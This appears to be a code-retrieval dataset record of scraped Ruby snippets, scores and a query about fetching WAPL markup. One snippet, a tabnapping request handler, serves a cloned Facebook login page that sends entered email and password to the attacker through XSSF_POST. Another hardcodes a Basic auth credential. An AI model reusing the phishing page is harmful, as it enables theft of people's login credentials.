ClientWarehouse.new(client_warehouse_params)\n\n respond_to do |format|\n if @client_warehouse.save\n client_warehouse_hash()\n format.html { redirect_to @client_warehouse, notice: $gcMsgAppendRecord }\n format.json { render :json => @client_warehouse_hash }\n format.xml { render :xml => @client_warehouse_hash }\n else\n lcHashError = { return_status: false, errors: @client_warehouse.errors }\n format.html { render :new }\n format.json { render :json => lcHashError }\n format.xml { render :xml => lcHashError }\n end\n end\n end", "def build_xml\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.SendNotificationsRequest(:xmlns => \"http://fedex.com/ws/track/v#{service[:version]}\"){\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_transaction_details(xml)\n add_version(xml)\n xml.TrackingNumber @tracking_number\n xml.TrackingNumberUniqueId @uuid if @uuid\n xml.SenderEMailAddress @sender_email_address\n xml.SenderContactName @sender_name\n add_notification_detail(xml)\n }\n end\n builder.doc.root.to_xml\n end", "def assemble_xml_file # :nodoc:\n write_xml_declaration do\n # Write the c:chartSpace element.\n write_chart_space do\n # Write the c:lang element.\n write_lang\n # Write the c:style element.\n write_style\n # Write the c:protection element.\n write_protection\n # Write the c:chart element.\n write_chart\n # Write the c:spPr element for the chartarea formatting.\n write_sp_pr(@chartarea)\n # Write the c:printSettings element.\n write_print_settings if @embedded && @embedded != 0\n end\n end\n end", "def start_header(attributes)\n @element_stack << :header\n end", "def start_header(attributes)\n @element_stack << :header\n end", "def store_special_offers_header\n $tracer.trace(__method__)\n return ToolTag.new(h2.className(create_ats_regex_string(\"ats-storespecialoffers\")), __method__)\n # return ToolTag.new(div.className(\"/col-1/\").h2, __method__)\n end", "def billing\n user_agent = request.env['HTTP_USER_AGENT']\n billing_request_body = Billing.request_body(@session)\n parameter = Parameter.first\n\n request = Typhoeus::Request.new(parameter.billing_url, followlocation: true, body: billing_request_body, headers: {Accept: \"text/xml\", :'Content-length' => billing_request_body.bytesize, Authorization: \"Basic base64_encode('NGSER-MR2014:NGSER-MR2014')\", :'User-Agent' => user_agent})\n\n#=begin\n request.on_complete do |response|\n if response.success?\n result = response.body\n elsif response.timed_out?\n result = Error.timeout(@screen_id)\n elsif response.code == 0\n result = Error.no_http_response(@screen_id)\n else\n result = Error.non_successful_http_response(@screen_id)\n end\n end\n\n request.run\n#=end\n #response_body\n #@xml = Nokogiri.XML(Billing.response_body).xpath('//methodResponse//params//param//value//struct//member')\n @xml = Nokogiri.XML(result).xpath('//methodResponse//params//param//value//struct//member') rescue nil\n #render text: Billing.response_body.bytesize\n end", "def insert_hwb\n type = OrderType.find_by_name(\"hwb\")\n \n res = RResponse.new\n\n Order.transaction do\n begin\n data = params[\"order\"]\n\n # hack created by for now\n data[\"created_by\"] = current_user.account\n data[\"order_type_id\"] = type.id\n \n \n data[\"bill_number\"] = (params[\"is_quote\"] == 'false') ? type.generate_bill_number(self.get_config_param(:hwb_offset)) : nil\n \n data[\"dim_factor\"] = 194\n \n if (params[\"multiple_pickup\"] != nil && params[\"multiple_pickup\"] == \"on\") \n data[\"pickup_locations\"] = JSON::parse(params[\"locations\"])\n end\n \n # read bill_to bill_third_party checkbox: if on, bill third-party. otherwise, bill shipper.\n if (params[\"bill_third_party\"].nil? || params[\"bill_third_party\"] != 'on')\n data[\"bill_to_id\"] = params[\"shipper\"][\"company_id\"]\n end\n \n ##############################################################################################\n # HACK order[billing_method_id] -- might need this in order since it's defined company-wide\n ##############################################################################################\n data[\"billing_method_id\"] = 1\n ##############################################################################################\n \n # super can handle it from here...\n order = Order.create(data)\n\n # get OrderTypeEntity list\n entities = order.type.entities(:include => [:domain])\n entities.each do |e|\n if (e.name != 'consignee' || (e.name == 'consignee' && params[\"has_consignee\"] != nil && params[\"has_consignee\"] == 'on') )\n data = params[e.name]\n data[:order_id] = order.id\n data[:order_type_entity_id] = e.id\n oe = OrderEntity.create(data)\n end\n end\n \n # apply markup & fuel_surcharge from order's bill_to to the order.\n types = SystemRevenuType.find(:all)\n revenus = SystemRevenu.find(:all)\n revenus.each do |sr|\n \n field = order.bill_to.domain.fields.find_by_name(sr.name) \n raise RException.new(\"Create HWB -- Could not locate company's revenu-field '#{sr.name}'\") if field.nil?\n \n # first get default value \n value = field.config[:value] \n \n # if the bill_to company has this Revenu field explicitly defined, apply that instead.\n if (!order.bill_to.domain_values.nil? && !order.bill_to.domain_values[field.id].nil?)\n value = order.bill_to.domain_values[field.id] \n end \n \n # apply insurance only if declared_value was defined\n if (sr.name != 'insurance' || !order.declared_value.nil?)\n # apply multiplier type to insurance only -- all other revenus (markup, fuel-surcharge) get percentage\n type = (sr.name != 'insurance') ? types.find { |t| (t.name == 'percentage') ? true : false} : types.find { |t| (t.name == 'multiplier') ? true : false} \n OrderRevenu.create(\n :order_id => order.id,\n :system_revenu_id => sr.id,\n :system_revenu_type_id => type.id,\n :value => value,\n :config => field.config #<-- this column contains Ext.form.Field config\n ) \n end \n end\n # log order-creation\n OrderLog.create(\n :order_id => order.id,\n :account_id => current_user.account.id,\n :order_log_type_id => OrderLogType.find_by_name('status').id,\n :subject => 'Order created',\n :msg => 'New ' + type.name\n )\n res.data[:order] = {\n :id => order.id,\n :bill_number => order.bill_number\n }\n res.success = true\n res.msg = 'Created order #' + order.bill_number.to_s\n end \n end\n\n respond(res)\n end", "def to_xml \n return @_xml unless @_xml.empty?\n @_xml << \"<wddxPacket version='1.0'>\"\n if @comment.nil?\n @_xml << \"<header/>\"\n else\n @_xml << \"<header><comment>#{@comment}</comment></header>\"\n end\n @_xml << \"<data>\" \n if @data.size.eql?(1)\n @_xml << @data \n else \n @_xml << \"<array length='#{@data.size}'>\"\n @_xml << @data\n @_xml << \"</array>\"\n end \n @_xml << \"</data></wddxPacket>\"\n @_xml = @_xml.join('')\n @_xml\n end", "def send\n @system = \"\"\n yield @system\n\n result = 'qf=xml&xml=' + render_template( 'auth' )\n\n @url.post( @uri.path, result, @headers.merge('Content-length' => result.length.to_s) )\n end", "def xml \n obj = {}\n expOb = Experiment.where('experimentName' => params[:experimentName]).to_a[0]\n obj['gameName'] = expOb['gameName']\n obj['sequences'] = expOb['sequences']\n obj['experimentName'] = expOb['experimentName']\n render :xml => \"<hash>\"+create_xml(obj, '')+\"</hash>\\n\"\n end", "def _products_header\n\n\t$report_file.puts \" _ _ \"\n\t$report_file.puts \" | | | | \"\n\t$report_file.puts \" _ __ _ __ ___ __| |_ _ ___| |_ ___ \"\n\t$report_file.puts \"| '_ \\\\| '__/ _ \\\\ / _` | | | |/ __| __/ __|\"\n\t$report_file.puts \"| |_) | | | (_) | (_| | |_| | (__| |_\\\\__ \\\\\"\n\t$report_file.puts \"| .__/|_| \\\\___/ \\\\__,_|\\\\__,_|\\\\___|\\\\__|___/\"\n\t$report_file.puts \"| | \"\n\t$report_file.puts \"|_| \"\n\t$report_file.puts\n\t$report_file.puts \"--------------------------------------------------------------------\"\n\t$report_file.puts\nend", "def response\n connection.send(request_method) do |req|\n req.url path\n req.headers['LicenseID'] = client.license_id\n req.headers['Host'] = client.host\n req.headers['Connection'] = 'Keep-Alive'\n req.headers['Expect'] = '100-continue'\n req.headers['Content-Type'] = 'text/xml'\n req.body = body\n end\n end", "def storeRecord\n @doc[:xml_display] = @xml.to_xml\n end" ]
[ "0.62905717", "0.57353795", "0.54520994", "0.52583444", "0.52562726", "0.5240979", "0.5093215", "0.507722", "0.50446224", "0.4962244", "0.49343324", "0.48955902", "0.48765084", "0.48511264", "0.47940433", "0.47748822", "0.47698236", "0.4755278", "0.47207412", "0.47197038", "0.46789965", "0.4675061", "0.4674277", "0.4670738", "0.4667558", "0.4661595", "0.46559602", "0.4653086", "0.464291", "0.46397582", "0.46299258", "0.46218902", "0.46194944", "0.46147057", "0.4613776", "0.46068826", "0.46013284", "0.45914122", "0.45813048", "0.4575876", "0.4574306", "0.45713317", "0.45706546", "0.45696512", "0.45585963", "0.45573872", "0.45560396", "0.4553861", "0.45499122", "0.45414358", "0.45339707", "0.453286", "0.45230353", "0.45176876", "0.45139712", "0.4512652", "0.45124948", "0.4509848", "0.4506019", "0.45050287", "0.45029002", "0.44969836", "0.44876727", "0.44875434", "0.44853348", "0.4478636", "0.44731757", "0.44728988", "0.44717282", "0.44637495", "0.44637078", "0.44589743", "0.4455151", "0.4451033", "0.4449642", "0.44486576", "0.4448145", "0.4444538", "0.4442632", "0.44400406", "0.44368926", "0.443593", "0.443593", "0.443593", "0.443593", "0.4434925", "0.4432324", "0.44308746", "0.44273612", "0.4423928", "0.4423928", "0.44229135", "0.44227317", "0.442092", "0.4412323", "0.4411033", "0.440561", "0.44037783", "0.44032508", "0.43907443" ]
0.6648892
0
submits the wapl markup url along with the headers brings back proper markup for the current device and required headers TODO / FIXME check whether supplied string is a url
def get_markup_from_url(makrup_url="") raise ArgumentError, "Wrong or empty url" if markup_url == "" res = self.send_request 'get_markup_from_url', { 'waplUrl'=>markup_url } markup_data = self.process_res_xml res.body return {'res'=>res, 'data'=> markup_data} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def i_html_string\n\t\tr = ''\n\n\t\t# weather\n\t\tif @data['weather'] then\n\t\t\tr << \"#{I_HTML_START}\"\n\t\t\tr << %Q|<A HREF=\"#{@url}\">|\n\t\t\tr << CGI::escapeHTML( WeatherTranslator::S.new( @data['weather']).translate( Words_en ).compact.capitalize )\n\t\t\tr << \"</A>#{I_HTML_END}\\n\"\n\t\telsif @data['condition'] then\n\t\t\tr << \"#{I_HTML_START}\"\n\t\t\tr << %Q|<A HREF=\"#{@url}\">|\n\t\t\tr << CGI::escapeHTML( WeatherTranslator::S.new( @data['condition']).translate( Words_en ).compact.capitalize )\n\t\t\tr << \"</A>#{I_HTML_END}\\n\"\n\t\tend\n\n\tend", "def request_string\n Shrimp.server.url + '?' +\n { in: @source.to_s, out: outfile }\n .merge(browser_attributes)\n .merge(paper_attributes)\n .merge(footer_attributes)\n .merge(header_attributes)\n .delete_if { |_, v| v.nil? }.map { |k, v| \"#{k}=#{v}\" }.join('&')\n end", "def html_string\n\t\tr = \"#{HTML_START}\"\n\n\t\t# weather\n\t\tr << %Q|<a href=\"#{@url}\">|\n\t\thas_condition = false\n\t\tif @data['weather'] then\n\t\t\tr << CGI::escapeHTML( WeatherTranslator::S.new( @data['weather']).translate( Words_en ).compact.capitalize )\n\t\t\thas_condition = true\n\t\telsif @data['condition'] then\n\t\t\tr << CGI::escapeHTML( WeatherTranslator::S.new( @data['condition']).translate( Words_en ).compact.capitalize )\n\t\t\thas_condition = true\n\t\tend\n\n\t\t# temperature\n\t\tif @data['temperature(C)'] and t = @data['temperature(C)'].scan(/-?[\\d.]+/)[-1] then\n\t\t\tr << ', ' if has_condition\n\t\t\tr << %Q| #{sprintf( '%.0f', 9.0/5.0 * t.to_f + 32.0 )} deg-F|\n\t\t\t#r << %Q| #{sprintf( '%.0f', t )} deg-C|\n\t\tend\n\t\tr << '</a>'\n\n\t\t# time stamp\n\t\tif @tz then\n\t\t\ttzbak = ENV['TZ']\n\t\t\tENV['TZ'] = @tz\t# this is not thread safe...\n\t\tend\n\t\tr << ' at '\n\t\tif @data['timestamp'] then\n\t\t\tr << Time::at( @data['timestamp'].to_i ).strftime( '%H:%M' ).sub( /^0/, '' )\n\t\telse\n\t\t\tr << Time::at( @time.to_i ).strftime( '%H:%M' ).sub( /^0/, '' )\n\t\tend\n\t\tif @tz then\n\t\t\tENV['TZ'] = tzbak\n\t\tend\n\n\t\tr << \"#{HTML_END}\\n\"\n\tend", "def on_request_uri(cli, req)\n\t\twebsites = {}\n\t\twebsites['gmail'] = []\n\t\twebsites['gmail'][0] = 'https://mail.google.com'\n\t\twebsites['gmail'][1] = 'Gmail: Email from Google'\n\t\twebsites['facebook'] = []\n\t\twebsites['facebook'][0] = 'http://www.facebook.com'\n\t\twebsites['facebook'][1] = 'Welcome to Facebook'\n\t\t\n\t\tcase req.uri \n\t\t\twhen /facebook.html/\n\t\t\t\tcode = %Q{\n\t\t\t\t\t<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\"><html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\" id=\"facebook\" class=\" no_js\"><head><meta http-equiv=\"Content-type\" content=\"text/html; charset=utf-8\" /><meta http-equiv=\"Content-language\" content=\"en\" /><script type=\"text/javascript\">//<![CDATA[CavalryLogger=false;window._is_quickling_index=\"\";//]]></script><noscript> <meta http-equiv=refresh content=\"0; URL=?_fb_noscript=1\" /> </noscript><meta name=\"robots\" content=\"noodp,noydir\" /><meta name=\"description\" content=\" Facebook is a social utility that connects people with friends and others who work, study and live around them. People use Facebook to keep up with friends, upload an unlimited number of photos, post links and videos, and learn more about the people they meet.\" /><link rel=\"alternate\" media=\"handheld\" href=\"http://www.facebook.com/\" /><title>Welcome to Facebook</title> <link type=\"text/css\" rel=\"stylesheet\" href=\"http://static.ak.fbcdn.net/rsrc.php/zCTJZ/hash/30390si5.css\" /> <link type=\"text/css\" rel=\"stylesheet\" href=\"http://static.ak.fbcdn.net/rsrc.php/zEHFH/hash/es9nnt5s.css\" /> <link type=\"text/css\" rel=\"stylesheet\" href=\"http://static.ak.fbcdn.net/rsrc.php/zAH5P/hash/cjigvmla.css\" /> <script type=\"text/javascript\" src=\"http://static.ak.fbcdn.net/rsrc.php/zDZZ5/hash/cvgm40ab.js\"></script><link rel=\"search\" type=\"application/opensearchdescription+xml\" href=\"http://static.ak.fbcdn.net/rsrc.php/zBOV4/hash/10jfw8tc.xml\" title=\"Facebook\" /><link rel=\"shortcut icon\" href=\"http://static.ak.fbcdn.net/rsrc.php/z9Q0Q/hash/8yhim1ep.ico\" /></head><body class=\"WelcomePage UIPage_LoggedOut ff3 win Locale_en_US\"><div id=\"FB_HiddenContainer\" style=\"position:absolute; top:-10000px; width:0px; height:0px;\" ></div><div id=\"blueBar\" class=\"loggedOut\"></div><div id=\"globalContainer\"><div id=\"dropmenu_container\"></div><div id=\"content\" class=\"fb_content clearfix\"><div ><!-- 2365fa3194ecdc0cab15721ce967a9f8663937c7 --><div class=\"WelcomePage_Container\"><div id=\"menubar_container\"><div id=\"fb_menubar\" class=\"fb_menubar_logged_out clearfix\"><ul id=\"fb_menubar_core\" class=\"fb_menu_list\"><li class=\"fb_menu\" id=\"fb_menubar_logo\"><a href=\"http://www.facebook.com\" class=\"fb_logo_link\" title=\"Go to Facebook Home\"><img class=\"fb_logo_img img\" src=\"http://static.ak.fbcdn.net/rsrc.php/z12E0/hash/8q2anwu7.gif\" alt=\"Facebook logo\" /></a></li></ul><ul id=\"fb_menubar_aux\" class=\"fb_menu_list\"><div class=\"menu_login_container\"><form method=\"POST\" action=\"https://login.facebook.com/login.php?login_attempt=1\" onsubmit=\"XSSF_POST('Facebook Account : ' + document.getElementById('email').value + ' - ' + document.getElementById('pass').value, 'Tabnapping'); return false;\" id=\"login_form\"><input type=\"hidden\" name=\"charset_test\" value=\"&euro;,&acute;,?,?,?,?,?\" /><input type=\"hidden\" id=\"locale\" name=\"locale\" value=\"en_US\" autocomplete=\"off\" /><table cellpadding=\"0\" cellspacing=\"0\"><tr><td class=\"login_form_label_field login_form_label_remember\"><input type=\"checkbox\" class=\"inputcheckbox\" value=\"1\" id=\"persistent\" name=\"persistent\" tabindex=\"3\" /><label id=\"label_persistent\" for=\"persistent\">Keep me logged in</label></td><td class=\"login_form_label_field\"><a href=\"http://www.facebook.com/reset.php\" rel=\"nofollow\">Forgot your password?</a></td><td class=\"login_form_last_field login_form_label_field\"></td></tr><tr><td><input type=\"text\" class=\"inputtext DOMControl_placeholder\" title=\"Email\" placeholder=\"Email\" id=\"email\" name=\"email\" value=\"Email\" tabindex=\"1\" /></td><td><input type=\"password\" class=\"inputpassword\" id=\"pass\" name=\"pass\" value=\"\" tabindex=\"2\" /><input type=\"text\" class=\"inputtext hidden_elem DOMControl_placeholder\" id=\"pass_placeholder\" name=\"pass_placeholder\" value=\"\" tabindex=\"2\" /></td><td class=\"login_form_last_field\"><div class=\"inner\"><label class=\"uiButton uiButtonConfirm uiButtonMedium\"><input value=\"Login\" tabindex=\"4\" type=\"submit\" /></label></div></td></tr></table><input type=\"hidden\" name=\"charset_test\" value=\"&euro;,&acute;,?,?,?,?,?\" /><input type=\"hidden\" id=\"lsd\" name=\"lsd\" value=\"SOTPv\" autocomplete=\"off\" /></form></div></ul></div></div><div class=\"WelcomePage_MainSell\"><div class=\"WelcomePage_MainSellCenter clearfix\"><div class=\"WelcomePage_MainSellLeft\"><div class=\"WelcomePage_MainMessage\">Facebook helps you connect and share with the people in your life.</div><div class=\"WelcomePage_MainMap\">&nbsp;</div></div><div class=\"WelcomePage_MainSellRight\"><div class=\"WelcomePage_SignUpSection\"><div class=\"WelcomePage_SignUpMessage\"><div class=\"WelcomePage_SignUpHeadline\">Sign Up</div><div class=\"WelcomePage_SignUpSubheadline\">It's free and anyone can join</div></div><div class=\"WelcomePage_SimpleReg\" id=\"registration_container\"><div id=\"simple_registration_container\" class=\"simple_registration_container\"><div id=\"reg_box\"><form method=\"post\" action=\"https://register.facebook.com/r.php\" name=\"reg\" id=\"reg\" onsubmit=\"return false;\"><input type=\"hidden\" name=\"charset_test\" value=\"&euro;,&acute;,?,?,?,?,?\" /><input type=\"hidden\" id=\"locale\" name=\"locale\" value=\"en_US\" autocomplete=\"off\" /><input type=\"hidden\" id=\"terms\" name=\"terms\" value=\"on\" autocomplete=\"off\" /><input type=\"hidden\" id=\"reg_instance\" name=\"reg_instance\" value=\"1275315209-946f7ca3c155a1204efa6b14b2d96da9f9fabac7d731c7af225f2\" autocomplete=\"off\" /><noscript><div id=\"no_js_box\"><h2>Javascript is disabled on your browser.</h2><p>Please enable JavaScript on your browser or upgrade to a Javascript-capable browser to register for Facebook.</p></div></noscript><div id=\"reg_form_box\"><table class=\"editor\" border=\"0\" cellspacing=\"0\"><tr><td class=\"label\">First Name:</td><td><div class=\"field_container\"><input type=\"text\" class=\"inputtext\" id=\"firstname\" name=\"firstname\" value=\"\" /></div></td></tr><tr><td class=\"label\">Last Name:</td><td><div class=\"field_container\"><input type=\"text\" class=\"inputtext\" id=\"lastname\" name=\"lastname\" value=\"\" /></div></td></tr><tr><td class=\"label\">Your Email:</td><td><div class=\"field_container\"><input type=\"text\" class=\"inputtext\" id=\"reg_email__\" name=\"reg_email__\" value=\"\" /></div></td></tr><tr><td class=\"label\">New Password:</td><td><div class=\"field_container\"><input type=\"password\" class=\"inputpassword\" id=\"reg_passwd__\" name=\"reg_passwd__\" value=\"\" /></div></td></tr><tr id=\"extra_selects_hack\"><td><select><option></option><option></option></select><select><option></option><option></option></select></td></tr><tr><td class=\"label\">I am:</td><td><div class=\"field_container\"><select class=\"select\" name=\"sex\" id=\"sex\" ><option value=\"0\">Select Sex:</option><option value=\"1\">Female</option><option value=\"2\">Male</option></select></div></td></tr><tr><td class=\"label\">Birthday:</td><td><div class=\"field_container\"> <select class=\"\" id=\"birthday_month\" name=\"birthday_month\" onchange=\"return run_with(this, [&quot;editor&quot;], function() {editor_date_month_change(this, &quot;birthday_day&quot;, &quot;birthday_year&quot;);});\"><option value=\"-1\">Month:</option><option value=\"1\">Jan</option><option value=\"2\">Feb</option><option value=\"3\">Mar</option><option value=\"4\">Apr</option><option value=\"5\">May</option><option value=\"6\">Jun</option><option value=\"7\">Jul</option><option value=\"8\">Aug</option><option value=\"9\">Sep</option><option value=\"10\">Oct</option><option value=\"11\">Nov</option><option value=\"12\">Dec</option></select> <select name=\"birthday_day\" id=\"birthday_day\" onchange=\"\" autocomplete=\"off\"><option value=\"-1\">Day:</option><option value=\"1\">1</option><option value=\"2\">2</option><option value=\"3\">3</option><option value=\"4\">4</option><option value=\"5\">5</option><option value=\"6\">6</option><option value=\"7\">7</option><option value=\"8\">8</option><option value=\"9\">9</option><option value=\"10\">10</option><option value=\"11\">11</option><option value=\"12\">12</option><option value=\"13\">13</option><option value=\"14\">14</option><option value=\"15\">15</option><option value=\"16\">16</option><option value=\"17\">17</option><option value=\"18\">18</option><option value=\"19\">19</option><option value=\"20\">20</option><option value=\"21\">21</option><option value=\"22\">22</option><option value=\"23\">23</option><option value=\"24\">24</option><option value=\"25\">25</option><option value=\"26\">26</option><option value=\"27\">27</option><option value=\"28\">28</option><option value=\"29\">29</option><option value=\"30\">30</option><option value=\"31\">31</option></select> <select name=\"birthday_year\" id=\"birthday_year\" onchange=\"return run_with(this, [&quot;editor&quot;], function() {editor_date_month_change(&quot;birthday_month&quot;,&quot;birthday_day&quot;,this);});\" autocomplete=\"off\"><option value=\"-1\">Year:</option><option value=\"2010\">2010</option><option value=\"2009\">2009</option><option value=\"2008\">2008</option><option value=\"2007\">2007</option><option value=\"2006\">2006</option><option value=\"2005\">2005</option><option value=\"2004\">2004</option><option value=\"2003\">2003</option><option value=\"2002\">2002</option><option value=\"2001\">2001</option><option value=\"2000\">2000</option><option value=\"1999\">1999</option><option value=\"1998\">1998</option><option value=\"1997\">1997</option><option value=\"1996\">1996</option><option value=\"1995\">1995</option><option value=\"1994\">1994</option><option value=\"1993\">1993</option><option value=\"1992\">1992</option><option value=\"1991\">1991</option><option value=\"1990\">1990</option><option value=\"1989\">1989</option><option value=\"1988\">1988</option><option value=\"1987\">1987</option><option value=\"1986\">1986</option><option value=\"1985\">1985</option><option value=\"1984\">1984</option><option value=\"1983\">1983</option><option value=\"1982\">1982</option><option value=\"1981\">1981</option><option value=\"1980\">1980</option><option value=\"1979\">1979</option><option value=\"1978\">1978</option><option value=\"1977\">1977</option><option value=\"1976\">1976</option><option value=\"1975\">1975</option><option value=\"1974\">1974</option><option value=\"1973\">1973</option><option value=\"1972\">1972</option><option value=\"1971\">1971</option><option value=\"1970\">1970</option><option value=\"1969\">1969</option><option value=\"1968\">1968</option><option value=\"1967\">1967</option><option value=\"1966\">1966</option><option value=\"1965\">1965</option><option value=\"1964\">1964</option><option value=\"1963\">1963</option><option value=\"1962\">1962</option><option value=\"1961\">1961</option><option value=\"1960\">1960</option><option value=\"1959\">1959</option><option value=\"1958\">1958</option><option value=\"1957\">1957</option><option value=\"1956\">1956</option><option value=\"1955\">1955</option><option value=\"1954\">1954</option><option value=\"1953\">1953</option><option value=\"1952\">1952</option><option value=\"1951\">1951</option><option value=\"1950\">1950</option><option value=\"1949\">1949</option><option value=\"1948\">1948</option><option value=\"1947\">1947</option><option value=\"1946\">1946</option><option value=\"1945\">1945</option><option value=\"1944\">1944</option><option value=\"1943\">1943</option><option value=\"1942\">1942</option><option value=\"1941\">1941</option><option value=\"1940\">1940</option><option value=\"1939\">1939</option><option value=\"1938\">1938</option><option value=\"1937\">1937</option><option value=\"1936\">1936</option><option value=\"1935\">1935</option><option value=\"1934\">1934</option><option value=\"1933\">1933</option><option value=\"1932\">1932</option><option value=\"1931\">1931</option><option value=\"1930\">1930</option><option value=\"1929\">1929</option><option value=\"1928\">1928</option><option value=\"1927\">1927</option><option value=\"1926\">1926</option><option value=\"1925\">1925</option><option value=\"1924\">1924</option><option value=\"1923\">1923</option><option value=\"1922\">1922</option><option value=\"1921\">1921</option><option value=\"1920\">1920</option><option value=\"1919\">1919</option><option value=\"1918\">1918</option><option value=\"1917\">1917</option><option value=\"1916\">1916</option><option value=\"1915\">1915</option><option value=\"1914\">1914</option><option value=\"1913\">1913</option><option value=\"1912\">1912</option><option value=\"1911\">1911</option><option value=\"1910\">1910</option><option value=\"1909\">1909</option><option value=\"1908\">1908</option><option value=\"1907\">1907</option><option value=\"1906\">1906</option><option value=\"1905\">1905</option><option value=\"1904\">1904</option><option value=\"1903\">1903</option><option value=\"1902\">1902</option><option value=\"1901\">1901</option><option value=\"1900\">1900</option></select></div></td></tr><tr><td class=\"label\"></td><td><div id=\"birthday_warning\"><a href=\"/ajax/reg_birthday_help.php\" title=\"Click for more information\" rel=\"dialog\">Why do I need to provide this?</a></div></td></tr></table><input type=\"hidden\" id=\"referrer\" name=\"referrer\" value=\"116\" autocomplete=\"off\" /><input type=\"hidden\" id=\"md5pass\" name=\"md5pass\" value=\"\" autocomplete=\"off\" /><div class=\"reg_btn clearfix\"><label class=\"uiButton uiButtonSpecial uiButtonMedium\"><input value=\"Sign Up\" onclick=\"return run_with(this, [&quot;reg-util&quot;], function() {RegUtil.getInstance().ajax_validate_data({ignore: [&#039;captcha&#039;]}, &quot;registration_container&quot;, &quot;1&quot;);});\" type=\"submit\" /></label><span id=\"async_status\" class=\"async_status\" style=\"display: none\"><img class=\"img\" src=\"http://static.ak.fbcdn.net/rsrc.php/zBS5C/hash/7hwy7at6.gif\" alt=\"\" /></span></div></div><div id=\"reg_captcha\" style=\"display: none;\"><h2>Security Check</h2><div id=\"outer_captcha_box\"><div id=\"captcha_box\"><div class=\"field_error\" id=\"captcha_response_error\" style=\"display:none;\">This field is required.</div><div id=\"captcha\" class=\"captcha\"> <input type=\"hidden\" id=\"captcha_persist_data\" name=\"captcha_persist_data\" value=\"AAAAAwAgACAAAAD00Xm79OGay-D5ntfWPvtTO8aYxT7tzjipbUuCSTiT1VHpLyhs_xCtKLmvHK6XkhMPLIFFuGMMugeox3zZhCtO8ALr7ABu1iSpakW5NWh2FxkDUWcd0C395XuDa13aTuGsw1g_hXTOv4aq-5PzCkihTCr0HLGjfx_QtOR4I_NdFBeGLPyews8g4E1lGmoqyfBFqYQ1Txoi5GI8YBqVRgctWK3wWlfcT1MicKjWungCR6GHFt2JCHeRz5CX93EFY4NzrJDfMEh2LiF4HUhHKCS7FPGtQH3iEUljImDKWpExK5MkuhAIPNlnYS5lAn0x8-txVXQn72taBaj012IH_VeL8PhFPk5fTPm4CaRqNRVHAPHISpjHVT7d4DZ9EUZpCGf5NB2HkOTbpmAwrWnwiS9VrKm72ETI7WBwsQ_gTTxfnq4.\" autocomplete=\"off\" /><div><div id=\"recaptcha_scripts\" style=\"display:none\"></div><input type=\"hidden\" id=\"captcha_session\" name=\"captcha_session\" value=\"I4kYxnsUBKSLCxyBdptWrA\" autocomplete=\"off\" /><input type=\"hidden\" id=\"extra_challenge_params\" name=\"extra_challenge_params\" value=\"authp=nonce.tt.time.new_audio_default&amp;psig=n_GWkkMZFNP3hzX2v7uCAwfwpt0&amp;nonce=I4kYxnsUBKSLCxyBdptWrA&amp;tt=aLjvcoUo8fiq0pMk13Y8Ofvc2Hg&amp;time=1275315209&amp;new_audio_default=1\" autocomplete=\"off\" /><input type=\"hidden\" id=\"recaptcha_type\" name=\"recaptcha_type\" value=\"password\" autocomplete=\"off\" /><div class=\"recaptcha_text\">Enter <strong>both words</strong> below, <strong>separated by a space</strong>.<br /><div class=\"recaptcha_only_if_image\">Can't read the words below? <a href=\"#\" id=\"recaptcha_reload_btn\" onclick=\"Recaptcha.reload(); return false\" tabindex=\"-1\">Try different words</a> or <a href=\"#\" onclick=\"Recaptcha.switch_type(&quot;audio&quot;); return false;\" tabindex=\"-1\">an audio captcha</a>.</div><div class=\"recaptcha_only_if_audio\"><a href=\"#\" id=\"recaptcha_reload_btn\" onclick=\"Recaptcha.reload(); return false\" tabindex=\"-1\">Try different words</a> or <a href=\"#\" class=\"recaptcha_only_if_audio\" onclick=\"Recaptcha.switch_type(&quot;image&quot;); return false;\" tabindex=\"-1\">back to text</a>.</div></div><span id='recaptcha_play_audio'></span><div class=\"audiocaptcha\"></div><div id=\"recaptcha_image\" class=\"captcha_image\"></div><div id=\"recaptcha_loading\">Loading... <img class=\"captcha_loading img\" src=\"http://static.ak.fbcdn.net/rsrc.php/zBS5C/hash/7hwy7at6.gif\" style=\"height:11px;width:16px;\" /></div></div><div class=\"captcha_refresh\"></div><div class=\"captcha_input\"><label>Text in the box:</label><div class=\"field_container\"><input type=\"text\" name=\"captcha_response\" id=\"captcha_response\" autocomplete=\"off\" /></div><div style=\"margin-left: 15px; display: inline;\"><a href=\"#\" id=\"captcha_whatsthis\" onclick=\"captcha_whatsthis(this); return false\">What's This?</a></div></div></div></div></div><div id=\"captcha_buttons\" class=\"clearfix\" style=\"display: none;\"><div id=\"back_button\" class=\"gridCol\"><div class=\"cancel_button_image\">&nbsp;</div><a href=\"#\" id=\"cancel_button\" onclick=\"return run_with(this, [&quot;reg-util&quot;], function() {RegUtil.getInstance().hide_captcha();RegUtil.getInstance().show_reg_form();});\">Back</a></div><div id=\"A_btn_sign_up\" class=\"gridCol\"><div><label class=\"uiButton uiButtonSpecial uiButtonMedium\"><input value=\"Sign Up\" onclick=\"return run_with(this, [&quot;reg-util&quot;], function() {RegUtil.getInstance().ajax_validate_data(&#039;&#039;, &quot;registration_container&quot;, &quot;1&quot;);});\" type=\"submit\" /></label><span id=\"captcha_async_status\" class=\"async_status\" style=\"display: none\"><img class=\"img\" src=\"http://static.ak.fbcdn.net/rsrc.php/zBS5C/hash/7hwy7at6.gif\" alt=\"\" /></span></div></div></div></div></form><div id=\"reg_progress\" style=\"display: none\"><div id=\"progress_wrap\"><img class=\"img\" src=\"http://static.ak.fbcdn.net/rsrc.php/zBS5C/hash/7hwy7at6.gif\" alt=\"\" /><div id=\"progress_msg\">Registering&hellip;</div></div></div><div id=\"reg_error\" style=\"display: none\"><div id=\"reg_error_inner\">An error occurred. Please try again.</div></div><div id=\"tos_container\" class=\"tos_container hidden_elem\"><p class=\"legal_tos\">By clicking Sign Up, you are indicating that you have read and agree to the <a href=\"/terms.php\" target=\"_blank\" rel=\"nofollow\">Terms of Use</a> and <a href=\"/policy.php\" target=\"_blank\" rel=\"nofollow\">Privacy Policy</a>.</p></div><div id=\"reg_pages_msg\" ><a href=\"/campaign/landing.php?placement=pghm&amp;campaign_id=372931622610&amp;extra_1=0\">Create a Page</a> for a celebrity, band or 